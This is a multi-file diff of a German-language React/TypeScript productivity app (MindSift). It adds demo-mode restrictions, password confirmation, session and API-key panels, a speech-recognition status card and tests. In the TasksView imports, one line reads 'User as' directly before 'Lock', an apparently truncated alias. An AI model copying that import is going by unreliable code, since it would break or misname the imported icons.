className="w-full h-9 px-3 input-field disabled:opacity-60"
/>
</div>
</div>
@@ -696,11 +654,29 @@ export const UserSettingsView: React.FC<UserSettingsViewProps> = ({
type="password"
value={newPassword}
onChange={(e) => setNewPassword(e.target.value)}
placeholder="Mindestens 4 Zeichen"
className="w-full h-9 px-3 input-field"
placeholder={demoMode ? 'In der Demo deaktiviert' : 'Mindestens 8 Zeichen'}
autoComplete="new-password"
disabled={demoMode}
className="w-full h-9 px-3 input-field disabled:opacity-60"
/>
</div>
{needsCurrentPassword && (
<div>
<label className="block text-muted font-medium mb-1">
Aktuelles Passwort (zur Bestätigung)
</label>
<input
type="password"
value={currentPassword}
onChange={(e) => setCurrentPassword(e.target.value)}
required
autoComplete="current-password"
className="w-full h-9 px-3 input-field"
/>
</div>
)}
<div className="pt-2 border-t border-border flex justify-end">
<button
type="submit"
@@ -717,9 +693,10 @@ export const UserSettingsView: React.FC<UserSettingsViewProps> = ({
<div>
<h3 className="text-xs font-bold text-main">Aktive Sitzungen & Sicherheit</h3>
<p className="text-[11px] text-muted">
Sitzungen werden durch kryptografische JWTs geschützt. Bei einer Passwortänderung werden alle alten Sitzungen automatisch ungültig.
Geräte, auf denen du angemeldet bist. Unbenutzte Sitzungen enden nach 30 Tagen; eine Passwortänderung meldet alle anderen Geräte ab.
</p>
</div>
<SessionsPanel />
<div className="flex flex-col sm:flex-row sm:items-center justify-between gap-3 p-3.5 rounded-card border border-border bg-canvas">
<div className="text-xs">
<p className="font-semibold text-main">Alle Sitzungen sofort beenden</p>
@@ -730,8 +707,9 @@ export const UserSettingsView: React.FC<UserSettingsViewProps> = ({
<button
type="button"
onClick={handleRevokeAllSessions}
disabled={revokingSessions}
className="btn-danger h-8 px-3 text-xs shrink-0 cursor-pointer"
disabled={demoMode || revokingSessions}
title={demoMode ? 'In der Demo deaktiviert' : undefined}
className="btn-danger h-8 px-3 text-xs shrink-0 cursor-pointer disabled:opacity-40 disabled:cursor-not-allowed"
>
{revokingSessions ? 'Beende…' : 'Alle Sitzungen beenden'}
</button>
@@ -772,7 +750,8 @@ export const UserSettingsView: React.FC<UserSettingsViewProps> = ({
<button
type="button"
onClick={() => openDanger('account')}
disabled={isLastAdmin}
disabled={isLastAdmin || demoMode}
title={demoMode ? 'In der Demo deaktiviert' : undefined}
className="btn-danger h-11 sm:h-8 px-3 text-xs shrink-0 disabled:opacity-40 disabled:cursor-not-allowed"
>
Konto löschen
@@ -798,6 +777,18 @@ export const UserSettingsView: React.FC<UserSettingsViewProps> = ({
</p>
</div>
<div className="p-3.5 rounded-card border border-border bg-canvas flex items-center justify-between gap-4">
<div className="text-xs">
<p className="font-semibold text-main">Link-Vorschauen anzeigen</p>
<p className="text-[11px] text-faint">
Karte mit Titel, Beschreibung und kleinem Bild über Punkten mit einer Web-Adresse. Die Seite wird
dafür vom MindSift-Server abgerufen, nicht von deinem Browser. Gilt für dieses Gerät; einzelne
Vorschauen lassen sich mit ✕ ausblenden.
</p>
</div>
<ToggleSwitch checked={linkPreviewsOn} onChange={setLinkPreviewsEnabled} title="Link-Vorschauen anzeigen" />
</div>
<div className="grid grid-cols-1 sm:grid-cols-2 gap-3">
{themes.map((t) => {
const isSelected = activeTheme === t.id;
@@ -1005,6 +996,13 @@ export const UserSettingsView: React.FC<UserSettingsViewProps> = ({
</p>
</div>
{demoMode && (
<div className="flex items-center gap-2 alert-err">
<AlertCircle className="w-4 h-4 text-status-err flex-shrink-0" />
<span>In der Demo deaktiviert: Alarme und Tests werden nicht verschickt.</span>
</div>
)}
{alarmMsg && (
<div
className={`flex items-center gap-2 ${
@@ -1071,8 +1069,8 @@ export const UserSettingsView: React.FC<UserSettingsViewProps> = ({
<button
type="button"
onClick={() => handleTestChannel('email')}
disabled={testingChannel === 'email'}
className="btn-action h-8 px-3 text-xs flex items-center gap-1.5 flex-shrink-0"
disabled={demoMode || testingChannel === 'email'}
className="btn-action h-8 px-3 text-xs flex items-center gap-1.5 flex-shrink-0 disabled:opacity-40 disabled:cursor-not-allowed"
>
<Send className="w-3 h-3 text-accent" />
<span>{testingChannel === 'email' ? 'Sende…' : 'E-Mail testen'}</span>
@@ -1120,8 +1118,8 @@ export const UserSettingsView: React.FC<UserSettingsViewProps> = ({
<button
type="button"
onClick={() => handleTestChannel('discord')}
disabled={testingChannel === 'discord'}
className="btn-action h-8 px-3 text-xs flex items-center gap-1.5 flex-shrink-0"
disabled={demoMode || testingChannel === 'discord'}
className="btn-action h-8 px-3 text-xs flex items-center gap-1.5 flex-shrink-0 disabled:opacity-40 disabled:cursor-not-allowed"
>
<Send className="w-3 h-3 text-accent" />
<span>{testingChannel === 'discord' ? 'Sende…' : 'Discord testen'}</span>
@@ -1169,8 +1167,8 @@ export const UserSettingsView: React.FC<UserSettingsViewProps> = ({
<button
type="button"
onClick={() => handleTestChannel('webhook')}
disabled={testingChannel === 'webhook'}
className="btn-action h-8 px-3 text-xs flex items-center gap-1.5 flex-shrink-0"
disabled={demoMode || testingChannel === 'webhook'}
className="btn-action h-8 px-3 text-xs flex items-center gap-1.5 flex-shrink-0 disabled:opacity-40 disabled:cursor-not-allowed"
>
<Send className="w-3 h-3 text-accent" />
<span>{testingChannel === 'webhook' ? 'Sende…' : 'Webhook testen'}</span>
@@ -1219,107 +1217,10 @@ export const UserSettingsView: React.FC<UserSettingsViewProps> = ({
</p>
</div>
{/* Create API Key */}
<form onSubmit={handleCreateAPIKey} className="flex flex-col sm:flex-row gap-2">
<input
type="text"
value={newKeyName}
onChange={(e) => setNewKeyName(e.target.value)}
placeholder="Bezeichnung des Schlüssels (z.B. Proxmox Monitoring, Discord-Forwarder)…"
className="w-full sm:flex-1 min-w-0 h-11 sm:h-9 px-3 input-field text-base sm:text-xs"
/>
<button
type="submit"
className="btn-primary h-11 sm:h-9 px-4 text-sm sm:text-xs font-semibold flex items-center justify-center gap-1.5"
>
<Plus className="w-3.5 h-3.5" />
<span>Neuen API-Key erzeugen</span>
</button>
</form>
<ApiKeysPanel />
{newlyCreatedKey && (
<div className="p-3 bg-accent-dim border border-accent flex flex-col sm:flex-row sm:items-center justify-between gap-2">
<div className="min-w-0">
<p className="text-[11px] text-accent font-bold">
Neuer API-Schlüssel erstellt (bitte jetzt kopieren, wird nur einmal im
Klartext angezeigt):
</p>
<code className="text-xs font-mono text-main break-all">{newlyCreatedKey}</code>
</div>
<button
onClick={() => handleCopy(newlyCreatedKey, 'key')}
className="btn-primary h-8 px-3 text-xs flex-shrink-0"
>
{copiedLabel === 'key' ? 'Kopiert!' : 'Key kopieren'}
</button>
</div>
)}
{/* Existing Keys List */}
<div className="border border-border divide-y divide-border bg-canvas">
{apiKeys.length === 0 ? (
<div className="p-4 text-center text-faint">
Noch keine persönlichen API-Schlüssel vorhanden.
</div>
) : (
apiKeys.map((k) => (
<div key={k.id} className="p-3 flex items-center justify-between gap-3">
<div>
<p className="font-semibold text-main">{k.name}</p>
<p className="text-[11px] text-faint font-mono">
Präfix: {k.keyPrefix}•••••••• · Erstellt:{' '}
{new Date(k.createdAt).toLocaleDateString()}
</p>
</div>
<button
onClick={() => handleDeleteAPIKey(k.id)}
className="btn-icon btn-icon-danger"
title="Schlüssel widerrufen"
>
<Trash2 className="w-3.5 h-3.5" />
</button>
</div>
))
)}
</div>
{/* Curl Examples */}
<div className="space-y-4">
<div className="space-y-1.5">
<div className="flex items-center justify-between">
<span className="font-semibold text-muted flex items-center gap-1.5">
<Terminal className="w-3.5 h-3.5 text-accent" />
<span>Curl: In Triage-Deck einspeisen (erhält Webhook-Badge)</span>
</span>
<button
onClick={() => handleCopy(curlTriageExample, 'curl-triage')}
className="btn-action h-7 px-2.5 text-[11px]"
>
{copiedLabel === 'curl-triage' ? 'Kopiert!' : 'Befehl kopieren'}
</button>
</div>
<pre className="p-3 code-block text-[11px] font-mono overflow-x-auto whitespace-pre">
{curlTriageExample}
</pre>
</div>
<div className="space-y-1.5">
<div className="flex items-center justify-between">
<span className="font-semibold text-muted flex items-center gap-1.5">
<Terminal className="w-3.5 h-3.5 text-accent" />
<span>Curl: Direkt als Aufgabe anlegen</span>
</span>
<button
onClick={() => handleCopy(curlTaskExample, 'curl-task')}
className="btn-action h-7 px-2.5 text-[11px]"
>
{copiedLabel === 'curl-task' ? 'Kopiert!' : 'Befehl kopieren'}
</button>
</div>
<pre className="p-3 code-block text-[11px] font-mono overflow-x-auto whitespace-pre">
{curlTaskExample}
</pre>
</div>
<div className="pt-4 border-t border-border">
<ServerBackupsCard />
</div>
{/* Full Data Backup */}
@@ -1327,8 +1228,8 @@ export const UserSettingsView: React.FC<UserSettingsViewProps> = ({
<div>
<h3 className="font-bold text-main">Vollständiges Backup (.zip)</h3>
<p className="text-muted text-[11px]">
Alle deine Gedanken, Aufgaben, Notizen und Listen als JSON, gepackt in eine ZIP-Datei. Über
„MindSift-Daten importieren“ lässt es sich vollständig zurückspielen.
Alle deine Gedanken, Aufgaben, Notizen und Listen als JSON, mit den Bildern und Sprachnotizen deiner
Notizen, gepackt in eine ZIP-Datei. Über „MindSift-Daten importieren“ lässt es sich vollständig zurückspielen.
</p>
</div>
<button
@@ -1348,8 +1249,8 @@ export const UserSettingsView: React.FC<UserSettingsViewProps> = ({
<p className="text-muted text-[11px]">
Alle Notizen als <code className="font-mono">.md</code>-Dateien in deiner Ordnerstruktur (mit Titel, Tags und
Datum im Kopf), Aufgaben je Liste unter <code className="font-mono">Aufgaben/</code> im Format des
Obsidian-Tasks-Plugins, Listen unter <code className="font-mono">Listen/</code>. Mit dir geteilte Notizen sind
dabei.
Obsidian-Tasks-Plugins, Listen unter <code className="font-mono">Listen/</code>, Bilder und Sprachnotizen unter{' '}
<code className="font-mono">attachments/</code>. Mit dir geteilte Notizen sind dabei.
</p>
{vaultError && <p className="text-[11px] text-status-err mt-1">{vaultError}</p>}
</div>
@@ -1392,7 +1293,8 @@ export const UserSettingsView: React.FC<UserSettingsViewProps> = ({
<>
Vault als <code className="font-mono">.zip</code>. Alle Notizen landen in einem eigenen Ordner mit dem Namen
des Vaults, Unterordner bleiben erhalten. Checkboxen bleiben Checkboxen in der Notiz, Frontmatter-Tags werden zu
#Hashtags. Bilder und andere Anhänge werden übersprungen.
#Hashtags. Bilder und Audiodateien, die eine Notiz einbettet (<code className="font-mono">![[bild.png]]</code>{' '}
oder <code className="font-mono">![](bild.png)</code>), werden übernommen; andere Anhänge wie PDFs nicht.
</>
}
/>
@@ -0,0 +1,189 @@
import React, { useEffect, useRef, useState } from 'react';
import { AlertCircle, Check, Loader2, Mic, RefreshCw, Square } from 'lucide-react';
import { api } from '../../lib/api';
import { VoiceAdminStatus } from '../../lib/types';
const TEST_SECONDS = 6;
// Admin: which speech recognition is active. Configured only by environment (STT_*), so this card
// just shows the state and offers a short test recording through the own Whisper server.
export const VoiceStatusCard: React.FC = () => {
const [info, setInfo] = useState<VoiceAdminStatus | null>(null);
const [loading, setLoading] = useState(false);
const [error, setError] = useState<string | null>(null);
const [recording, setRecording] = useState(false);
const [testing, setTesting] = useState(false);
const [result, setResult] = useState<{ text: string; ms: number } | null>(null);
const recorderRef = useRef<MediaRecorder | null>(null);
const stopTimerRef = useRef<number | null>(null);
const load = async () => {
setLoading(true);
try {
setInfo(await api.adminVoiceStatus());
setError(null);
} catch (err: any) {
setError(err.message || 'Status konnte nicht geladen werden');
} finally {
setLoading(false);
}
};
useEffect(() => {
void load();
return () => {
if (stopTimerRef.current !== null) window.clearTimeout(stopTimerRef.current);
recorderRef.current?.stream.getTracks().forEach((t) => t.stop());
};
}, []);
const stopRecording = () => {
if (stopTimerRef.current !== null) window.clearTimeout(stopTimerRef.current);
stopTimerRef.current = null;
if (recorderRef.current?.state === 'recording') recorderRef.current.stop();
};
const startTest = async () => {
setResult(null);
setError(null);
let stream: MediaStream;
try {
stream = await navigator.mediaDevices.getUserMedia({ audio: true });
} catch {
setError('Kein Zugriff auf das Mikrofon (Berechtigung, oder die Seite läuft nicht über HTTPS)');
return;
}
const recorder = new MediaRecorder(stream);
const chunks: Blob[] = [];
recorder.ondataavailable = (e) => {
if (e.data.size > 0) chunks.push(e.data);
};
recorder.onstop = async () => {
stream.getTracks().forEach((t) => t.stop());
setRecording(false);
setTesting(true);
const started = performance.now();
try {
const text = await api.transcribe(new Blob(chunks, { type: recorder.mimeType }));
setResult({ text, ms: Math.round(performance.now() - started) });
} catch (err: any) {
setError(err.message || 'Spracherkennung fehlgeschlagen');
} finally {
setTesting(false);
}
};
recorderRef.current = recorder;
recorder.start();
setRecording(true);
stopTimerRef.current = window.setTimeout(stopRecording, TEST_SECONDS * 1000);
};
const status = info?.status;
const serverOk = info?.mode === 'server' && status?.reachable && status?.modelReady;
return (
<div className="p-4 bg-canvas border border-border rounded-card space-y-3">
<div className="flex items-start justify-between gap-3">
<div>
<h3 className="font-bold text-main flex items-center gap-1.5">
<Mic className="w-4 h-4 text-accent" />
Spracherkennung
</h3>
<p className="text-muted mt-0.5">
Wird nur über Umgebungsvariablen eingestellt (<code className="font-mono">STT_URL</code>,{' '}
<code className="font-mono">STT_MODEL</code> …); Fehler stehen im Container-Log.
</p>
</div>
<button
type="button"
onClick={load}
disabled={loading}
title="Status neu prüfen"
className="btn-action h-11 w-11 sm:h-8 sm:w-8 flex items-center justify-center shrink-0 disabled:opacity-40"
>
<RefreshCw className="w-3.5 h-3.5" />
</button>
</div>
{info && (
<dl className="grid grid-cols-[auto_1fr] gap-x-4 gap-y-1 text-xs">
<dt className="text-muted">Aktiv</dt>
<dd className="text-main font-semibold">
{info.mode === 'server'
? 'Eigener Server (Whisper)'
: info.mode === 'off'
? 'Ausgeschaltet'
: info.demo && info.url
? 'Browser (in der Demo immer)'
: 'Browser (Spracherkennung des Browsers)'}
</dd>
{info.url && (
<>
<dt className="text-muted">Server</dt>
<dd className="text-main font-mono break-all">{info.url}</dd>
<dt className="text-muted">Modell</dt>
<dd className="text-main font-mono break-all">{info.model}</dd>
<dt className="text-muted">Sprache</dt>
<dd className="text-main">{info.language || 'automatisch'}</dd>
</>
)}
{info.mode === 'server' && (
<>
<dt className="text-muted">Zustand</dt>
<dd className="flex items-center gap-1.5">
{serverOk ? (
<span className="text-status-ok flex items-center gap-1">
<Check className="w-3.5 h-3.5" /> Erreichbar, Modell geladen
</span>
) : (
<span className="text-status-err flex items-center gap-1">
<AlertCircle className="w-3.5 h-3.5" />
{status?.reachable ? 'Modell fehlt noch (wird heruntergeladen)' : 'Nicht erreichbar'}
{status?.error && !status.reachable ? `: ${status.error}` : ''}
</span>
)}
</dd>
<dt className="text-muted">Grenzen</dt>
<dd className="text-main">
{Math.round(info.maxSeconds / 60)} Min. bzw. {info.maxUploadMb} MB pro Aufnahme, {info.maxParallel}{' '}
gleichzeitig, {info.perUserPerHour} pro Person und Stunde, {info.timeoutSeconds} s Zeitlimit
</dd>
</>
)}
</dl>
)}
{info?.mode === 'server' && (
<div className="pt-2 border-t border-border flex flex-col sm:flex-row sm:items-center gap-2">
{recording ? (
<button
type="button"
onClick={stopRecording}
className="btn-danger h-11 sm:h-8 px-3 text-xs flex items-center justify-center gap-1.5"
>
<Square className="w-3.5 h-3.5" /> Aufnahme beenden
</button>
) : (
<button
type="button"
onClick={startTest}
disabled={testing}
className="btn-secondary h-11 sm:h-8 px-3 text-xs flex items-center justify-center gap-1.5 disabled:opacity-40"
>
{testing ? <Loader2 className="w-3.5 h-3.5 animate-spin" /> : <Mic className="w-3.5 h-3.5" />}
{testing ? 'Wird erkannt…' : `Testaufnahme (${TEST_SECONDS} s)`}
</button>
)}
{recording && <span className="text-muted">Sprich jetzt …</span>}
{result && (
<span className="text-main">
„{result.text || '(nichts erkannt)'}“ <span className="text-faint">· {(result.ms / 1000).toFixed(1)} s</span>
</span>
)}
</div>
)}
{error && <p className="text-status-err text-xs">{error}</p>}
</div>
);
};
@@ -0,0 +1,41 @@
import { describe, it, expect, vi, beforeEach } from 'vitest';
import { render, screen, fireEvent, act } from '@testing-library/react';
const createAPIKey = vi.fn(async () => ({ id: 'k1', userId: 'u', name: 'HA', keyPrefix: 'mindsift_sec_ab', scopes: 'webhook:triage,webhook:list', createdAt: '' }));
vi.mock('../../../lib/api', () => ({
api: {
getAPIKeys: vi.fn(async () => [
{ id: 'k0', userId: 'u', name: 'Rauchmelder', keyPrefix: 'mindsift_sec_xy', scopes: 'webhook:triage,webhook:task', createdAt: '' },
]),
getAllLists: vi.fn(async () => []),
getTaskLists: vi.fn(async () => []),
createAPIKey: (...args: unknown[]) => createAPIKey(...(args as [])),
deleteAPIKey: vi.fn(),
testWebhookIngest: vi.fn(),
},
triggerHaptic: vi.fn(),
}));
import { ApiKeysPanel } from '../ApiKeysPanel';
describe('ApiKeysPanel', () => {
beforeEach(() => createAPIKey.mockClear());
it('shows the scopes of existing keys as badges', async () => {
render(<ApiKeysPanel />);
expect(await screen.findByText('Rauchmelder')).toBeTruthy();
expect(screen.getAllByText('📋 Aufgaben').length).toBeGreaterThan(1); // chip + badge
});
it('creates a key with the chosen scopes and never without one', async () => {
render(<ApiKeysPanel />);
const triage = screen.getByRole('checkbox', { name: /Triage/ });
fireEvent.click(triage); // last remaining scope cannot be switched off
expect(triage.getAttribute('aria-checked')).toBe('true');
fireEvent.click(screen.getByRole('checkbox', { name: /Listeneinträge/ }));
await act(async () => {
fireEvent.click(screen.getByRole('button', { name: /API-Key erzeugen/ }));
});
expect(createAPIKey).toHaveBeenCalledWith('Home Assistant', ['webhook:triage', 'webhook:list']);
});
});
@@ -0,0 +1,24 @@
import { describe, expect, it } from 'vitest';
import { describeDevice } from '../SessionsPanel';
describe('describeDevice', () => {
it('names browser and system', () => {
expect(
describeDevice('Mozilla/5.0 (X11; Linux x86_64; rv:130.0) Gecko/20100101 Firefox/130.0')
).toEqual({ label: 'Firefox auf Linux', mobile: false });
expect(
describeDevice(
'Mozilla/5.0 (iPhone; CPU iPhone OS 17_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Mobile/15E148 Safari/604.1'
)
).toEqual({ label: 'Safari auf iOS', mobile: true });
expect(
describeDevice(
'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0 Safari/537.36 Edg/130.0'
).label
).toBe('Edge auf Windows');
});
it('falls back for empty agents', () => {
expect(describeDevice('').label).toBe('Unbekanntes Gerät');
});
});
@@ -8,7 +8,6 @@ import {
RotateCcw,
Check,
Columns,
Layers,
} from 'lucide-react';
import { KanbanColumn } from '../../lib/types';
import { triggerHaptic } from '../../lib/api';
@@ -28,15 +27,17 @@ export const DEFAULT_KANBAN_COLUMNS: KanbanColumn[] = [
{ id: 'done', name: 'Erledigt', isDone: true, color: 'emerald' },
];
export const ManageColumnsModal: React.FC<ManageColumnsModalProps> = ({
// Wrapper and content split so the hooks always run in the same number (see TaskDetailModal)
export const ManageColumnsModal: React.FC<ManageColumnsModalProps> = (props) =>
props.isOpen ? <ManageColumnsModalContent {...props} /> : null;
const ManageColumnsModalContent: React.FC<ManageColumnsModalProps> = ({
isOpen,
onClose,
initialColumns,
onSave,
listTitle,
}) => {
if (!isOpen) return null;
const [columns, setColumns] = useState<KanbanColumn[]>(() => {
return initialColumns && initialColumns.length > 0 ? initialColumns : DEFAULT_KANBAN_COLUMNS;
});
@@ -7,19 +7,16 @@ import {
FileText,
Plus,
CheckSquare,
Clock,
Layers,
Hash,
AlertTriangle,
Flame,
ChevronRight,
Folder,
Webhook,
Lock,
UserPlus,
Repeat,
} from 'lucide-react';
import { Thought, SubTask, TaskList, TaskListMember, KanbanColumn, User, Recurrence } from '../../lib/types';
import { Thought, TaskList, TaskListMember, KanbanColumn, User, Recurrence } from '../../lib/types';
import { UserAvatar } from '../../components/UserAvatar';
import { UserAutocomplete } from '../UserAutocomplete';
import { triggerHaptic } from '../../lib/api';
@@ -51,9 +48,13 @@ interface TaskDetailModalProps {
readOnly?: boolean; // Task belongs to a list shared with "viewer" permission
}
export const TaskDetailModal: React.FC<TaskDetailModalProps> = ({
// The wrapper decides whether the dialog is shown; the content holds all hooks, so their number never
// changes between renders (hooks after an early return break React when isOpen flips)
export const TaskDetailModal: React.FC<TaskDetailModalProps> = (props) =>
props.isOpen && props.task ? <TaskDetailModalContent {...props} task={props.task} /> : null;
const TaskDetailModalContent: React.FC<TaskDetailModalProps & { task: Thought }> = ({
task,
isOpen,
onClose,
activeColumns,
taskLists,
@@ -75,8 +76,6 @@ export const TaskDetailModal: React.FC<TaskDetailModalProps> = ({
onDeleteTask,
readOnly = false,
}) => {
if (!isOpen || !task) return null;
const [titleDraft, setTitleDraft] = useState(task.content);
const [isEditingTitle, setIsEditingTitle] = useState(false);
@@ -144,7 +143,7 @@ export const TaskDetailModal: React.FC<TaskDetailModalProps> = ({
const handleAddTagSubmit = async (e: React.FormEvent) => {
e.preventDefault();
let cleaned = newTagDraft.trim().replace(/^#+/, '').toLowerCase();
const cleaned = newTagDraft.trim().replace(/^#+/, '').toLowerCase();
if (!cleaned) return;
const currentTags = Array.isArray(task.tags) ? [...task.tags] : [];
if (!currentTags.includes(cleaned)) {
@@ -177,11 +176,6 @@ export const TaskDetailModal: React.FC<TaskDetailModalProps> = ({
onUpdateDueDate(task, joinDue(addDays(daysOffset), splitDue(task.dueDate).time));
};
const currentColumn = activeColumns.find((c) => c.id === task.kanbanStatus) ||
(task.isCompleted
? activeColumns.find((c) => c.isDone) || activeColumns[activeColumns.length - 1]
: activeColumns.find((c) => !c.isDone) || activeColumns[0]);
const subtasks = Array.isArray(task.subtasks) ? task.subtasks : [];
const completedSubtasks = subtasks.filter((s) => s.isCompleted).length;
const subtasksPercent = subtasks.length > 0 ? Math.round((completedSubtasks / subtasks.length) * 100) : 0;
+6 -67
View File
@@ -15,19 +15,18 @@ import {
Layers,
Users,
CheckSquare,
User as UserIcon,
User as
Lock,
Hash,
AlertTriangle,
Flame,
Settings,
ChevronDown,
Folder,
Filter,
Webhook,
Repeat,
} from 'lucide-react';
import { TaskList, Thought, SubTask, Team, User, TaskListShare, TaskListMember, KanbanColumn, PriorityLevel, Recurrence, RECURRENCE_LABELS } from '../../lib/types';
import { TaskList, Thought, SubTask, Team, User, TaskListMember, KanbanColumn, PriorityLevel, Recurrence, RECURRENCE_LABELS } from '../../lib/types';
import { formatDue, isDueToday, isOverdue, localDay, splitDue } from '../../lib/due';
import { api, triggerHaptic } from '../../lib/api';
import { UnifiedShareModal } from '../../components/UnifiedShareModal';
@@ -92,10 +91,6 @@ export const TasksView: React.FC<TasksViewProps> = ({
// Share TaskList modal state
const [showShareListModal, setShowShareListModal] = useState(false);
const [sharingTaskList, setSharingTaskList] = useState<TaskList | null>(null);
const [addShareType, setAddShareType] = useState<'team' | 'user'>('team');
const [selectedShareTargetId, setSelectedShareTargetId] = useState('');
const [selectedShareUser, setSelectedShareUser] = useState<User | null>(null);
const [shareLoading, setShareLoading] = useState(false);
// Detail modal state
const [detailTaskId, setDetailTaskId] = useState<string | null>(null);
@@ -854,8 +849,6 @@ export const TasksView: React.FC<TasksViewProps> = ({
const handleOpenShareModal = async (tl: TaskList) => {
setSharingTaskList(tl);
setSelectedShareTargetId('');
setSelectedShareUser(null);
setShowShareListModal(true);
try {
const [freshTeams, freshUsers, freshShares] = await Promise.all([
@@ -871,60 +864,6 @@ export const TasksView: React.FC<TasksViewProps> = ({
}
};
const handleAddShare = async () => {
if (!sharingTaskList) return;
const targetId = addShareType === 'team' ? selectedShareTargetId : selectedShareUser?.id;
if (!targetId) return;
setShareLoading(true);
triggerHaptic(15);
try {
await api.addTaskListShare(sharingTaskList.id, {
targetType: addShareType,
targetId: targetId,
});
const [freshLists, freshShares] = await Promise.all([
api.getTaskLists(),
api.getTaskListShares(sharingTaskList.id).catch(() => []),
]);
setTaskLists(freshLists);
const updated = freshLists.find((l) => l.id === sharingTaskList.id);
if (updated) {
setSharingTaskList({ ...updated, shares: freshShares });
}
setSelectedShareTargetId('');
setSelectedShareUser(null);
await loadData();
} catch (err: any) {
alert(err.message || 'Fehler beim Hinzufügen der Freigabe');
} finally {
setShareLoading(false);
}
};
const handleRemoveShare = async (shareId: string) => {
if (!sharingTaskList) return;
if (!window.confirm('Freigabe wirklich aufheben?')) return;
setShareLoading(true);
triggerHaptic(15);
try {
await api.removeTaskListShare(sharingTaskList.id, shareId);
const [freshLists, freshShares] = await Promise.all([
api.getTaskLists(),
api.getTaskListShares(sharingTaskList.id).catch(() => []),
]);
setTaskLists(freshLists);
const updated = freshLists.find((l) => l.id === sharingTaskList.id);
if (updated) {
setSharingTaskList({ ...updated, shares: freshShares });
}
await loadData();
} catch (err: any) {
alert(err.message || 'Fehler beim Entfernen der Freigabe');
} finally {
setShareLoading(false);
}
};
const handleSaveColumns = async (newColumns: KanbanColumn[]) => {
triggerHaptic(15);
if (currentSelectedList && selectedListId !== 'all') {
@@ -1405,9 +1344,9 @@ export const TasksView: React.FC<TasksViewProps> = ({
}`}
>
{/* Counter on the label, like in the nav bar */}
<span className={`relative inline-flex items-center ${openTasksCount ? 'pr-2' : ''}`}>
<span className={`relative inline-flex items-center ${openTasksCount ? 'pr-3' : ''}`}>
Alle Aufgaben
<CountBadge count={openTasksCount} position="corner" className="-top-1.5 -right-1" />
<CountBadge count={openTasksCount} position="corner" className="-top-0.5 -right-2" />
</span>
</button>
@@ -1423,9 +1362,9 @@ export const TasksView: React.FC<TasksViewProps> = ({
className="h-full px-3 text-xs font-medium flex items-center gap-1.5 rounded-btn"
>
<span>{tl.icon}</span>
<span className={`relative inline-flex items-center ${tl.tasksCount ? 'pr-2' : ''}`}>
<span className={`relative inline-flex items-center ${tl.tasksCount ? 'pr-3' : ''}`}>
{tl.title}
<CountBadge count={tl.tasksCount} position="corner" className="-top-1.5 -right-1" />
<CountBadge count={tl.tasksCount} position="corner" className="-top-0.5 -right-2" />
</span>
{(() => {
+59 -12
View File
@@ -221,6 +221,9 @@ export const TriageDeck: React.FC<TriageDeckProps> = ({
onDeckChange,
onFocusCapture,
}) => {
const writableLists = lists.filter((l) => l.isOwner || l.role !== 'viewer');
const singleWritableList = writableLists.length === 1 ? writableLists[0] : null;
const [cards, setCards] = useState<Thought[]>(deck);
const [lastTriaged, setLastTriaged] = useState<Thought | null>(null);
const [showDateModal, setShowDateModal] = useState(false);
@@ -702,8 +705,8 @@ export const TriageDeck: React.FC<TriageDeckProps> = ({
Quick Dump direkt einer Liste zuordnen:
</p>
<div className="flex flex-wrap gap-1.5">
{lists.length > 0 ? (
lists.map((lst) => (
{writableLists.length > 0 ? (
writableLists.map((lst) => (
<button
key={lst.id}
onClick={() =>
@@ -746,17 +749,35 @@ export const TriageDeck: React.FC<TriageDeckProps> = ({
</button>
<button
disabled={writableLists.length === 0}
onClick={() => {
if (singleWritableList) {
handleAction('keep', {
convertTo: 'list_item',
targetListId: singleWritableList.id,
});
return;
}
setShowDateModal(false);
setShowListSelector((prev) => !prev);
}}
title="Auf eine geteilte Liste setzen"
title={
writableLists.length === 0
? 'Keine Liste vorhanden'
: singleWritableList
? `Auf ${singleWritableList.title}`
: 'Auf eine geteilte Liste setzen'
}
className={`btn-action flex-1 h-9 px-3 justify-center whitespace-nowrap ${
showListSelector ? 'border-accent text-accent bg-accent-dim' : ''
writableLists.length === 0
? 'opacity-40 cursor-not-allowed'
: showListSelector
? 'border-accent text-accent bg-accent-dim'
: ''
}`}
>
<ShoppingCart className="w-3.5 h-3.5 text-accent flex-shrink-0" />
<span>Auf Liste</span>
<span>{singleWritableList ? `Auf ${singleWritableList.title}` : 'Auf Liste'}</span>
</button>
<button
@@ -810,7 +831,7 @@ export const TriageDeck: React.FC<TriageDeckProps> = ({
<SwipeableQueueItem
key={item.id}
item={item}
lists={lists}
lists={writableLists}
onBringToFront={handleBringToFront}
onOpenActionSheet={openActionSheetForCard}
onAction={handleAction}
@@ -854,13 +875,39 @@ export const TriageDeck: React.FC<TriageDeckProps> = ({
<div className="grid grid-cols-2 gap-2">
<button
type="button"
onClick={() => setSheetMode('list')}
className="min-h-[52px] px-3.5 py-2.5 rounded-xl bg-canvas hover:bg-panel-elevated border border-border text-left flex items-center gap-3 transition-colors cursor-pointer active:scale-98"
disabled={writableLists.length === 0}
onClick={() => {
if (singleWritableList) {
handleAction('keep', {
convertTo: 'list_item',
targetListId: singleWritableList.id,
thoughtOverride: actionSheetCard,
});
return;
}
setSheetMode('list');
}}
title={
writableLists.length === 0
? 'Keine Liste vorhanden'
: singleWritableList
? `Auf ${singleWritableList.title}`
: 'Auf Liste setzen'
}
className={`min-h-[52px] px-3.5 py-2.5 rounded-xl bg-canvas hover:bg-panel-elevated border border-border text-left flex items-center gap-3 transition-colors cursor-pointer active:scale-98 ${
writableLists.length === 0 ? 'opacity-40 cursor-not-allowed' : ''
}`}
>
<ShoppingCart className="w-5 h-5 text-accent flex-shrink-0" />
<div>
<div className="min-w-0">
<div className="text-sm font-semibold text-main">Auf Liste</div>
<div className="text-[11px] text-muted">Einkauf / Geteilt</div>
<div className="text-[11px] text-muted truncate">
{writableLists.length === 0
? 'Keine Liste vorhanden'
: singleWritableList
? singleWritableList.title
: 'Einkauf / Geteilt'}
</div>
</div>
</button>
@@ -999,8 +1046,8 @@ export const TriageDeck: React.FC<TriageDeckProps> = ({
Auf welche Liste soll dieser Punkt gesetzt werden?
</p>
<div className="max-h-60 overflow-y-auto space-y-1.5">
{lists.length > 0 ? (
lists.map((lst) => (
{writableLists.length > 0 ? (
writableLists.map((lst) => (
<button
key={lst.id}
type="button"
@@ -0,0 +1,70 @@
import { describe, it, expect, vi } from 'vitest';
import { render, screen, fireEvent } from '@testing-library/react';
import { TaskDetailModal } from '../TaskDetailModal';
